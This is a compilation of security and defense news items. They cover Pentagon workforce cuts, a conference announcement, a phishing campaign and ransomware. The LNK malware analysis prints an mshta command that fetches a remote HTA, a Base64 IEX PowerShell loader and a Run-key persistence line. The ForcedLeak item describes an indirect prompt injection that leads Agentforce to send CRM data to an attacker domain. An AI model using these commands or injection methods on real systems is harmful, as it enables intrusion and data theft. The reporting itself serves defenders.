• Living Security, a global leader in Human Risk Management (HRM), today announced the full speaker lineup for the Human Risk Management Conference (HRMCon 2025), taking place October 20, 2025, at Austin’s Q2 Stadium and virtually worldwide. The announcement follows findings from the newly published 2025 State of Human Cyber Risk Report, produced by the Cyentia […]

    The post Living Security Unveils HRMCon 2025 Speakers as Report Finds Firms Detect Just 19% of Human Risk appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Living Security, a global leader in Human Risk Management (HRM), today announced the full speaker lineup for the Human Risk Management Conference (HRMCon 2025), taking place October 20, 2025, at Austin’s Q2 Stadium and virtually worldwide.

    The announcement follows findings from the newly published 2025 State of Human Cyber Risk Report, produced by the Cyentia Institute in collaboration with Living Security, which reveals that on average, organizations detect only 19% of all human risk activity. That means the majority of risky behaviors — from credential misuse to insider threats — go unseen, leaving enterprises exposed to risks that technology or traditional awareness programs alone can’t solve.

    HRMCon is a one-day event focused on the people side of cybersecurity, offered this year both in-person in Austin and virtually worldwide. The program is designed for CISOs, security leaders, risk managers, and HR professionals who are responsible for building security culture and reducing human-driven risk. Sessions will explore how to extend risk ownership beyond traditional awareness programs and the security operations center, empowering managers and employees across the business to take accountability. Attendees will gain practical strategies they can apply immediately from executives, global analysts, and peers. Participants with confirmed attendance may also request a completion certificate for Continuing Professional Education (CPE) credits for the full conference.

    “Most organizations remain blind to the majority of human-driven risk, leaving gaps that technology or traditional awareness programs alone can’t solve,” said Ashley Rose, CEO and Co-Founder of Living Security. “Closing that visibility gap requires new strategies, proven frameworks, and collaboration across functions — which is exactly what HRMCon is designed to deliver. No matter where you are in your HRM journey, you’ll walk away with practical playbooks, proven strategies, and inspiring stories you can apply immediately. This isn’t just another security event—it’s a launchpad for making human risk a managed business function, all without pulling you away from your day-to-day responsibilities.”

    HRMCon 2025 will feature enterprise CISOs, Fortune 500 veterans, and leading analysts sharing research-backed strategies and real-world lessons on operationalizing human risk management.

    Speaker Highlights

    Opening Keynote – Brett Wahlin, CISO, Aurora – From Counterintelligence to Cybersecurity: Rethinking the Human Factor Across Industries.

    Risk frameworks have shaped enterprise security for decades but often overlook the human element. Drawing on his path from counterintelligence to the CISO seat, Brett Wahlin will show where traditional frameworks succeed, where they fall short, and how Human Risk Management can integrate people into the same disciplined approach that governs technology.

    Tim Taylor, VP of Security Education and Awareness, Mastercard – Creating Human Risk Visibility: Where to Start and How to Scale.

    Tim offers a step-by-step play for creating measurable human risk visibility in 90 days. Attendees will learn how to define goals, connect data sources, and build momentum toward sustainable risk reduction.

    Ashley Atiles, Director of Identity Risk, & Alfonso Mancuso, Director of Information Security, Labcorp – The Access Equation: Identity Meets Human Risk.

    Ashley and Alfonso will explore how identity and behavior intersect as the earliest line of defense. Attendees will learn how integrating IAM signals with human risk data creates a powerful new lever for stopping threats before they escalate.

    Kelly Harward, VP of Product & Mike Siegel, President, Living Security – Operationalizing HRM: From Frameworks and Playbooks to Goals for Adaptive Defense.

    Living Security leaders show how to translate frameworks into measurable outcomes. Attendees will see real-world playbooks and a preview of the new Goals feature, which ties behavior change directly to risk reduction.

    Jinan Budge, VP & Principal Analyst, Forrester – The Future of Human Risk Management: Market Landscape and the Role of Agentic AI.

    A market-level view of how Human Risk Management is evolving from compliance to strategy. Attendees will learn about the current state of the market, where it’s headed, and how autonomous AI agents are set to reshape HRM strategies in the years ahead.

    Closing Keynote – Larry Whiteside Jr., CISO Advisor & Co-Founder, Confide – Evolving the Role of the CISO: From Defense to Business Enabler.

    A concise look at how the CISO role is shifting from technical defense to strategic business leadership. Attendees will hear how Human Risk Management can help CISOs align security with culture, accountability, and measurable business outcomes.

    HRMCon 2025 Features

    • Grounded in Research: Learning real-world strategies to close the 19% human risk visibility gap.
    • Professional Development: Earning verifiable CPE credits with a completion certificate (confirmed attendance and upon request).
    • Free and Flexible: Registering at no cost and choose to attending live in Austin or virtually from anywhere.
    • Expert-Led: Hearing from leading CISOs, analysts, and security practitioners shaping the HRM market.
    • Peer Insights: Seeing how organizations are operationalizing HRM through case studies and playbooks.
    • Immediate Takeaways: Leaving with frameworks, tools, and strategies you can implement right away.

    HRMCon 2025, hosted by Living Security, comes at a pivotal time for organizations looking to transform security culture, reduce human-driven risk, and lead in an AI-enabled world.

    Users can register today at www.livingsecurity.com/hrmcon-2025

    About Living Security

    Living Security is the global leader in Human Risk Management (HRM), providing a risk-informed approach that meets organizations where they are—whether that’s starting with AI-based phishing simulations, intelligent behavior-based training, or implementing a full HRM strategy that correlates behavior, identity, and threat data streams.

    Living Security’s Unify platform delivers 3X more visibility into human risk than traditional, compliance-based training platforms by eliminating siloed data and integrating across the security ecosystem. The platform pinpoints the 8–12% of users who pose the greatest risk and automates targeted interventions in real time—reducing exposure to human risk by over 90%. Powered by AI, human analysis, and industry-wide threat telemetry, Unify transforms fragmented signals into intelligent, adaptive defense.

    Named a Global Leader in Human Risk Management by Forrester and trusted by enterprises like Unilever, Mastercard, Merck, and Abbott Labs, Living Security helps security teams move from awareness to action—driving measurable behavior change and proving impact at every stage of the journey.

    Contact

    Living Security Media
    media@livingsecurity.com

    The post Living Security Unveils HRMCon 2025 Speakers as Report Finds Firms Detect Just 19% of Human Risk appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Cisco is urging customers to patch two security flaws impacting the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software, which it said have been exploited in the wild. The zero-day vulnerabilities in question are listed below – CVE-2025-20333 (CVSS score: 9.9) – An improper validation of user-supplied input

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The threat actor known as Vane Viper has been outed as a purveyor of malicious ad technology (adtech), while relying on a tangled web of shell companies and opaque ownership structures to deliberately evade responsibility. “Vane Viper has provided core infrastructure in widespread malvertising, ad fraud, and cyberthreat proliferation for at least a decade,” Infoblox said in a technical report

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A critical vulnerability chain in Salesforce’s Agentforce AI platform, which could have allowed external attackers to steal sensitive CRM data.

    The vulnerability, dubbed ForcedLeak by Noma Labs, which discovered it, carries a CVSS score of 9.4 and was executed through a sophisticated indirect prompt injection attack.

    This discovery highlights the expanded and fundamentally different attack surface presented by autonomous AI agents compared to traditional systems.

    Upon notification from Noma Labs, Salesforce promptly investigated the issue and has since deployed patches. The fix prevents Agentforce agents from sending data to untrusted URLs, addressing the immediate risk.

    The research demonstrates how AI agents can be compromised through malicious instructions hidden within what are normally considered trusted data sources.

    ForcedLeak Attack

    The attack exploited several weaknesses, including insufficient context validation, overly permissive AI model behavior, and a critical Content Security Policy (CSP) bypass.

    Attackers could create a malicious Web-to-Lead submission containing unauthorized commands. When the AI agent processed this lead, the Large Language Model (LLM) treated the malicious instructions as legitimate, leading to the exfiltration of sensitive data.

    The LLM was unable to differentiate between trusted data loaded into its context and the attacker’s embedded instructions.

    The attack vector was an indirect prompt injection. Unlike a direct injection, where an attacker inputs commands straight into the AI, this method involves embedding malicious instructions in data that the AI will later process during a routine task.

    In this case, the attacker placed a payload in the “Description” field of a web form, which was then stored in the CRM. When an employee asked the AI agent to review the lead, the agent executed the hidden commands.

    A key factor in the success of this attack was the discovery of a flaw in Salesforce’s Content Security Policy. The researchers found that the domain my-salesforce-cms.com was whitelisted but had expired and was available for purchase.

    By acquiring this domain, an attacker could establish a trusted channel for data exfiltration. The AI agent, following its instructions, would send sensitive data to this attacker-controlled domain, bypassing security controls that would normally block such actions, Noma Labs said.

    Salesforce has since re-secured the expired domain and implemented stricter security controls, including Trusted URLs Enforcement for both Agentforce and Einstein AI, to prevent similar issues.

    If exploited, ForcedLeak could have had severe consequences. The vulnerability risked exposing confidential customer contact information, sales pipeline data, internal communications, and historical interaction records.

    Any organization using Salesforce Agentforce with the Web-to-Lead feature enabled was potentially vulnerable, especially those in sales and marketing who regularly process external lead data.

    Salesforce recommends that customers take the following actions:

    • Apply the recommended updates to enforce Trusted URLs for Agentforce and Einstein AI.
    • Audit existing lead data for any suspicious submissions containing unusual instructions.
    • Implement strict input validation and sanitize all data from untrusted sources.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

      The post Salesforce AI Agent Vulnerability Allows Let Attackers Exfiltration Sensitive Data appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    1. Cybercriminals have orchestrated a sophisticated phishing campaign exploiting GitHub’s notification system to impersonate the prestigious startup accelerator Y Combinator, targeting developers’ cryptocurrency wallets through fake funding opportunity notifications.

      The attack leverages GitHub’s issue tracking system to mass-distribute phishing notifications, bypassing traditional email security filters by using the platform’s legitimate notification infrastructure. 

      Threat actors created multiple GitHub accounts with names closely resembling Y Combinator, including ycombinato, ycommbbinator, and ycoommbinator, along with a malicious GitHub application called ycombinatornotify.

      Y Combinator Phishing Scam

      The attackers demonstrated a sophisticated understanding of GitHub’s API limitations and notification mechanisms. 

      Each malicious repository generated approximately 500 issues before hitting GitHub’s rate-limiting thresholds, with each issue containing phishing content and tagging numerous random GitHub usernames to maximize notification distribution. 

      The notifications appeared authentic since they originated from GitHub’s official notification system, making them difficult for users to identify as fraudulent immediately.

      The phishing messages claimed recipients had been “selected for funding” and required wallet verification or authorization deposits to access supposed Y Combinator investment opportunities. 

      This social engineering technique targets explicitly the developer community’s familiarity with Y Combinator’s legitimate application process, exploiting the prestige and desirability associated with acceptance into the accelerator program.

      The operation employed typosquatting techniques, registering the domain y-comblnator.com (substituting an “L” for the “I” in “combinator”) to create a convincing replica of Y Combinator’s legitimate website. 

      This domain hosted fake application pages designed to harvest cryptocurrency wallet credentials and private keys from unsuspecting victims.

      GitHub’s security team responded by suspending the malicious accounts and repositories, but the attack’s distributed nature across multiple accounts created persistence challenges. 

      Affected users reported staying notification badges that required manual API calls to clear, using commands like curl -X PATCH with authentication tokens to mark phantom notifications as read. 

      The incident highlights the vulnerability of collaborative development platforms to abuse, where legitimate notification systems can be weaponized for large-scale phishing campaigns targeting the cryptocurrency assets of technical professionals who represent high-value targets due to their likely digital asset holdings.

      Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

      The post Hackers Leverage GitHub Notifications to Mimic as Y Combinator to Steal Funds from Wallets appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    2. Nine months into the second Trump administration, Defense Secretary Pete Hegseth’s effort to shrink and reshape the Pentagon’s civilian workforce has netted a reduction of more than 60,000 employees, or about 7.6 percent, comfortably reaching the 5- to 8-percent goal he set in March. 

      But while the Pentagon provided those numbers to Defense One, they provided few other details, leaving it hard to judge how the effort to cut payroll and redirect resources is going. Multiple officials declined to talk about various problems caused by the sweeping cuts and policy changes Hegseth ordered just weeks into his job. They also declined to comment on criticism by current and former employees who say the changes were ill-planned and have hurt productivity and morale among the country’s largest national-security workforce. 

      “The consensus among the rank-and-file DOD employees is that the SecDef has essentially declared war on his civilian workforce, creating an atmosphere of mutual distrust and an implication that all DOD civilians are untrustworthy parasites until proven otherwise,” one department civilian, who asked not to be identified to prevent retaliation, told Defense One. 

      To shrink his workforce, Hegseth fired probationary employees, froze hiring, offered buyouts, reopened early retirement, and ordered department organizations to submit ideas for eliminating “redundant or non-essential functions.”

      Pentagon leaders have called these moves responsible and thoughtful.

      “As Secretary Hegseth made clear, it is simply not in the public interest to retain individuals whose contributions are not mission-critical,” John Ullyot, then a Pentagon spokesperson, told Defense One in March. “Taxpayers deserve to have us take a thorough look at our workforce top-to-bottom to see where we can eliminate redundancies. That said, as we take these important steps to reshape the workforce to meet the President's priorities, the Department will treat our workers with dignity and respect as it always does.”

      But department leaders have often fallen short of that pledge. Probationary employees were illegally fired. Current and former employees have said that murky or nonexistent guidance about the new policies have caused confusion. Multiple sources cited the ongoing hiring freeze that kept employees in hotels waiting for exemptions so they could move to their new DOD jobs overseas, and is now trapping other employees who are trying to complete transfers back to the United States. 

      All this, combined with an exodus of civilian employees from an organization long accustomed to “doing more with less,” has made the massive workload even harder to tackle.

      Some commands are “close to a breaking point of simply not being able to accomplish key requirements—and I know that is true across the globe as well,” the DOD civilian said.

      Buyouts and early-outs

      The biggest chunk of the 60,000-plus workers shed came from buyouts and early retirements

      DOD approved 55,000 applications for the Deferred Resignation Program and another 6,100 for the Voluntary Early Retirement Authority program, a Pentagon official told Defense One, asking for anonymity without giving a reason.

      Hegseth did not limit how many people could take the offers, and allowed the services only rare rejections of applicants deemed vital to national security. 

      This had larger effects on some organizations than on others. In May, the Space Force reported that it had already lost 14 percent of its civilians to buyouts.

      “Because our numbers are so much smaller, I feel like the efforts to reduce the overall federal workforce had a little bit of an outsized impact on the Space Force,” Chief of Space Operations Gen. Chance Saltzman said Tuesday at the Air, Space and Cyber Conference outside Washington, D.C. “In an attempt to get the entire workforce down 5 percent, certainly the civilians at [Space Systems Command] were above 10 percent, for sure, in some of those losses.” 

      “The corporate knowledge—the expertise that our civilian workforce brings—is vital to acquisitions, and so the Deferred Resignation Program certainly took some of those out of play,” Saltzman said.

      Firing ‘probies’

      Another way Pentagon leaders sought to trim headcount was by firing probationary employees—generally, workers new to the department, recently promoted, or recently transferred from other DOD jobs—whose civil-service protections had yet to kick in. 

      Prompted by the White House, Pentagon officials announced in February that they would fire 5,400 probationary employees. They removed 364 before a judge ordered them to stop and to rehire the ones who had left. The Supreme Court eventually knocked down the injunction, allowing such firings to resume, but the Pentagon is still required to send letters to the fired employees stating they were not dismissed for cause. 

      The department’s personnel office declined to provide a current status of the firing, or rehiring, of probationary employees while litigation is pending, according to the Pentagon official.

      Hiring freeze, still on 

      On Feb. 28, Hegseth ordered a hiring freeze across his department, just eight days after announcing one was on the way.

      The short-notice order forced managers to rescind job offers to thousands of people. The Army alone told 2,000 people that their new jobs had disappeared, spokesman Lt. Col. Orlandon Howard told Defense One.

      The freeze also prevented thousands of current employees from moving to new jobs within the department. 

      Some employees found themselves trapped overseas, unable to return to the United States to take up their new jobs. Many were housed in hotels at government expense for more than a month, having given up their residences and dispatched their possessions to their new places of employment. 

      In the Army, 150 employees were eventually allowed to move on after exemptions were secured, Howard said. The Space Force’s Saltzman said he had been able to secure enough exemptions to keep his service’s growth plans on track.

      But the freeze is still gumming up civilians who are finishing up overseas assignments and are unable to move into new roles in the United States.

      “Currently, those that reach the end of their tour cannot leave because there are no jobs to apply to, and cannot leave on [the Priority Placement Program] because empty positions can’t be filled unless it is mission-critical, health- or safety-related,” the civilian said. “Basically, trapped overseas indefinitely.”

      The exemption process is bottlenecked by Hegseth, who initially insisted on personally reviewing every request. He widened the path slightly in a March 18 memo that delegated the task to the defense undersecretary for personnel and readiness and the secretaries of the Army, Navy, and Air Force, but added, “This authority may not be further delegated.”

      Asked about the hiring freeze and its effects, Pentagon spokesman Joel Valdez declined to answer. 

      The first Pentagon official declined to provide numbers, including total number of job offers rescinded at the beginning of the freeze and total number of employees who have requested exemptions to be able to complete permanent change-of-station moves to new roles. 

      The official referred such questions to the military departments, and declined to provide figures for defense agencies that aren’t part of a service branch, such as the Defense Intelligence Agency and Defense Health Agency. 

      The Air Force did not respond to Defense One’s request for information as of publication. A spokeswoman for the Navy declined to comment entirely.

      The military departments were required to send such figures to Hegseth’s personnel undersecretary, but the spokesperson said the figures were not tracked. 

      The Pentagon has no estimate of how much money it spent on hotel costs and other incidentals for employees who had moved out of their homes and were forced to cancel and rebook flights, because each of those cases were approved at a command level, the spokesperson said.

      How many employees? 

      In late March, Hegseth ordered Pentagon leaders to come up with ways to shrink and reorganize their commands, agencies, and departments—and to submit their proposals within two weeks. A March 29 press release touted the order, and an April 7 memo from the deputy defense secretary ordered more detailed submissions by late May. 

      In June, a Pentagon official said the suggestions came in on time, but declined to say what they were or what came of them.

      “Certain near-term changes in workforce structure, composition, and workforce will be reflected in the department’s forthcoming President’s Budget request for FY26,” said the defense official, who was not authorized to speak on the record.

      The budget proposal, released later that month, asks for a 5.4-percent drop in civilian headcount, from 789,775 in fiscal 2025 to 747,380 next year. 

      Pentagon officials declined to explain how that 42,395-person reduction was decided upon and which job titles were merged or eliminated to get there.

      Meanwhile, the Air Force is cutting 5,000 civilian jobs in the current fiscal year, which ends on Sept. 30, according to a leaked internal email sent to personnel at the Air Force Academy. The message, sent by the school’s superintendent in July, said the academy would be shedding 140 civilians.  

      Rather than wait for a layoff, Brian Johns quit his job as a USAFA assistant professor of mechanical engineering and took a new position at Colorado State University.

      He’d already had one scare on Feb. 27, Johns told Defense One, when the colonel in charge of his department sat him down and told him he’d likely be laid off the following day as part of the purge of probationary employees—despite the fact that he’d been in his position for longer than a year and was no longer in a probationary status.

      “So a couple weeks later they mentioned via email that my name was on the firing list mistakenly,” Johns said. “Was it a mistake or was it intentional? Nonetheless, it didn’t alleviate any of the stress.”

      Johns had taken the AFA position in 2023 after leaving a tenured professorship at Cornell College in Iowa. The lawsuits to undo the probationary employee layoffs protected his job for the moment, but the writing was already on the wall. 

      “If I knew that my job would be in jeopardy in a couple of years, I probably wouldn’t have done it,” he said. “I wouldn’t wish that kind of uncertainty and anxiety on anybody during that six-month period.”

      What comes next

      It’s difficult to quantify the results of DOD’s civilian purge. Despite Hegseth’s frequent pledges of transparency, department officials declined to provide key figures—starting with the current number of civilian employees. Instead, the Pentagon official provided the count as of Jan. 1, before any of the downsizing efforts, which at the time came in at 799,000.  

      By the Pentagon’s numbers, the workforce as of the beginning of this year, minus those who voluntarily moved on, comes to 737,900. That is 9,480 short of the ceiling in the FY ‘26 budget request. Valdez declined to say whether the department would work toward filling those openings by hiring freeze-exempt workers, like shipyard technicians or childcare teachers.

      The Pentagon also declined to answer whether or when the hiring freeze might lift. As it continues, there are not only jobs staying open, but existing civilians are largely not able to transfer into them.

      “Although the SecDef uses language implying the importance of the civilian workforce, it sounds nice and briefs well,” the civilian said. “These words are hollow and have no meaning.”

      Tom Novelly contributed to this report.

      ]]>

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    3. A recent wave of attacks leveraging malicious Windows shortcut files (.LNK) has put security teams on high alert.

      Emerging in late August 2025, this new LNK malware distribution exploits trusted Microsoft binaries to bypass endpoint protections and execute payloads without raising suspicions.

      Delivered primarily via spear-phishing emails and compromised websites, the shortcut files appear innocuous, embedding commands that invoke legitimate Windows utilities to fetch and launch additional malware components.

      Early victims have reported subtle indicators of compromise, such as anomalous PowerShell calls and unexpected network connections, often dismissed as benign system activity.

      Researchers observed that the campaign targets both enterprise and consumer endpoints, focusing on users with elevated privileges.

      The initial lure emails mimic internal IT notifications or security alerts, encouraging recipients to click on a seemingly harmless shortcut attachment.

      Upon execution, the LNK file triggers Windows Explorer to load a hidden payload, effectively weaponizing built-in binaries like mshta.exe and rundll32.exe to stage the attack.

      This technique enables the threat actor to evade antivirus signatures and behavioral detection rules that typically flag direct execution of unknown executables.

      K7 Security Labs analysts noted that the attackers carefully crafted the LNK payload to leverage encoded parameters passed to these native utilities, preventing straightforward analysis by sandbox environments.

      By chaining multiple benign processes, the malware achieves “living off the land” execution, reducing its forensic footprint on disk and in memory.

      Victims’ endpoint logs show rapid process spawning events, where each process hands off execution to the next stage in under a second, complicating detection efforts.

      Infection Mechanism and Payload Deployment

      Diving deeper into the infection mechanism, the malicious .LNK file embeds an OLE object that points to a remote HTML application (HTA) script hosted on a compromised server.

      When a user double-clicks the shortcut, Explorer invokes mshta.exe with the following command line:-

      mshta.exe "http[:]//malicious-domain.com/loader.hta" 
      Infection chain flow (Source – K7 Security Labs)

      Here the obfuscated loader script uses Base64-encoded PowerShell commands to download the next-stage payload:-

      $payload = 'aGVsbG8gd29ybGQ='
      IEX ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)))

      This snippet decodes and executes a simple script from memory, demonstrating how the attacker minimizes disk writes.

      Once the HTA executes, it leverages rundll32.exe to load a malicious DLL directly into a suspended svchost.exe process, bypassing executable file scanning.

      The DLL is responsible for establishing persistence by creating a Win32 registry run key:-

      HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name "Updater" -Value "rundll32.exe C:\Windows\Temp\updater.dll,EntryPoint"

      By abusing registry-based persistence and trusted Windows binaries, the malware ensures that it launches automatically upon user login, even if endpoint detections attempt to quarantine the DLL file.

      Indicators of compromise include network requests to suspicious domains, anomalous mshta.exe and rundll32.exe process trees, and unrecognized registry entries under the CurrentVersion\Run key.

      Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

      The post New LNK Malware Uses Windows Binaries to Bypass Security Tools and Execute Malware appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    4. Breaking: Defense Secretary Pete Hegseth just “ordered hundreds of the U.S. military’s generals and admirals to gather on short notice” next Tuesday at the Marine Corps base in Quantico, Virginia, the Washington Post reported Thursday. 

      No reason was given for the rare and urgent meeting, which is scheduled “as a government shutdown looms,” the Post reminds readers ahead of the Sept. 30 deadline, which is Tuesday. 

      The order “applies to all senior officers with the rank of brigadier general or above, or their Navy equivalent, serving in command positions and their top enlisted advisers,” five Post journalists report. Officers with those ranks in staff positions are exempted. 

      The meeting appears to be unprecedented. “All of it is weird,” one U.S. official said, and asked, “Are we taking every general and flag officer out of the Pacific right now?” Read the rest (gift link), here

      Air Force special operators are preparing for missions in the Caribbean, the leader of Air Force Special Operations Command said Wednesday. While Lt. Gen. Michael Conley declined to specifically disclose if they are supporting operations related to Venezuela—off whose coast the U.S. military has sunk alleged drugrunning boats in recent weeks—he told reporters that his airmen have strike, surveillance, and mobility assets that “any combatant commander would love.” 

      “We are doing things that you'd expect out of special operations, just in the sense that we need to be ready to go,” Conley said during a media roundtable at the Air & Space Force Association’s Air, Space, and Cyber Conference. Defense One’s Tom Novelly reports, here.

      Update: The Navy’s guided-missile destroyer USS Stockdale is now in the Caribbean Sea to support President Trump’s war on drug cartels, Military Times reported Wednesday. U.S. Naval Institute News first reported the apparent development Monday, after Stockdale made a port stop in Panama this weekend. 

      The ship joins seven other Navy vessels in the region: the USS Jason Dunham, USS Gravely, USS Iwo Jima, USS Fort Lauderdale, USS San Antonio, USS Lake Erie and USS Minneapolis-Saint Paul. One nuclear-powered attack submarine is also reportedly in the vicinity, according to the New York Times

      Four Russian military aircraft flew inside the Alaskan Air Defense Identification Zone before they were intercepted by a U.S. entourage Wednesday, officials at North American Aerospace Defense Command announced shortly afterward. 

      Involved: Two Tu-95s and two Su-35s, which were met by an E-3, four F-16s, and four KC-135 tankers during the intercept.

      To be clear, “The Russian military aircraft remained in international airspace and did not enter American or Canadian sovereign airspace,” NORAD said, and noted, “This Russian activity in the Alaskan ADIZ occurs regularly and is not seen as a threat.”

      Update on Kirk-related suspensions across the military: More than a dozen U.S. soldiers have now been suspended as investigations into troops’ social media posts about the death of far-right activist Charlie Kirk proceed, Carla Babb reported Wednesday for Military Times.

      “These numbers are subject to change as commands review social media activity and take appropriate action,” an Army spokeswoman said. The Marines and Coast Guard have also relieved or identified a service member for allegedly inappropriate social media posting. 

      Related reading:Black church leaders reject Charlie Kirk martyrdom and point to his race rhetoric,” the Associated Press reported Wednesday. 

      For your ears only: We unpacked highlights from this week’s Air, Space & Cyber Conference hosted annually by the Air and Space Forces Association. Defense One’s Lauren C. Williams and Tom Novelly shared their findings as well as insight into their reporting this week from conference grounds at the National Harbor in Maryland. Catch that on Spotify or wherever you listen to podcasts.  

      Additional reading: 


      Welcome to this Thursday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson with Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1906, Spanish engineer and early robotics pioneer Leonardo Torres Quevedo demonstrated how to maneuver a boat more than a mile off the shore using remote control. He later sought to apply his findings to the new field of torpedoes, but was denied by the Spanish government. 

      Around Europe

      Inside NATO’s response to Russia’s violation of Estonian air space. “Just minutes after NATO radars detected three Russian MiG-31 aircraft with transponders turned off heading toward the Estonian border on Friday, alarms sounded at this wooded air base about 40 minutes outside Tallinn. Italian airmen scrambled to their F-35s to intercept the Russian jets, taking over for Finnish aircraft that were already aloft. Twelve minutes later, the Italians escorted the MiGs out of Estonian airspace toward Kaliningrad,” reports Defense One’s Patrick Tucker from Ämari Aiur Base in Estonia.

      Col. Gaetano Farina, commander of Italy’s Air 32nd Wing, told reporters Wednesday that the incident was more significant than his unit’s similar interception in August, but he described the scene as orderly. “There is training that we do almost every day,” he said, calling the response “very professional.” The Russian pilots, too, seemed unperturbed and even waved at the Italians from their cockpits, he said. 

      But the violation raised alarm well beyond the Baltics, and Tucker wraps up the ongoing fallout, here

      New: Drones closed Danish airports and disrupted operations at military bases earlier today, officials said. Danish authorities decided not to shoot at the drones for safety reasons, so their origins remain unproven. 

      But Russia is the main suspect. "It certainly does not look like a coincidence. It looks systematic. This is what I would define as a hybrid attack," Defence Minister Troels Lund Poulsen told reporters. 

      Reuters: “Denmark has not yet decided whether to invoke NATO's Article 4, which allows members to request consultations over any security concerns, Poulsen said. Poland invoked the article after downing the drones, as did Estonia after Russian military jets violated its airspace for 12 minutes on September 19.” More, here

      China is helping a sanctioned Russian dronemaker, Reuters reports, citing two European security officials and documents. “Chinese drone experts have flown to Russia to conduct technical development work on military drones at a state-owned weapons manufacturer that is under Western sanctions,” the wire service reports, here.

      Related:Every Nation Wants to Copy Iran’s Deadly Shahed Drone,” the Wall Street Journal reports. 

      New: Russia is using AI-enabled drones in Ukraine. Former Ukrainian Command-in-Chief General Valerii Zaluzhnyi said in an interview this week that Russian drones with artificial intelligence is presenting a new threat for Ukraine, whose “forces cannot suppress such drones because these drones do not rely on radio frequencies,” analysts at the Washington-based Institute for the Study of War write in their latest battlefield assessment. 

      Status check: “Putin remains uninterested in good faith negotiations that require compromises and is instead making the same demands of Ukraine and the West as he did in late 2021 and February 2022,” ISW analysts warned in a big-picture consideration. 

      Related reading:Europe is at war with Russia, whether it likes it or not,” Ivo Daalder, former U.S. ambassador to NATO, writes in an op-ed for Politico Thursday. 

      And lastly: Turkish President Tayyip Erdogan is visiting the White House today in part to discuss potential F-35 sales, Reuters reports. It’s Erdogan’s first visit in nearly six years, after the U.S. sanctioned Turkey after it bought Russian S-400 missile defense systems. That purchase shut off Ankara from its desired acquisition of the F-35, which is an aircraft that had used some parts made in Turkey. 

      Erdogan is also looking to buy 40 F-16 jets from the U.S., in addition to 40 Eurofighter Typhoons, which is a joint production from Airbus, BAE Systems and Leonardo.

      Additional reading: Russia Delivers MiG-29 Jets to Iran Air Force,” Newsweek reported Wednesday.

      ]]>

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    5. Security researchers have uncovered a new Ransomware-as-a-Service (RaaS) strain named BQTLOCK that is actively targeting Windows users through Telegram channels and dark web forums. Since mid-July, affiliates of the service have been distributing a ZIP archive containing a malicious executable that encrypts a wide range of file types, appends a custom “.bqtlock” extension, and deletes […]

      The post BQTLOCK Ransomware Attacking Windows Users Via Telegram to Encrypt Files and Delete Backup appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶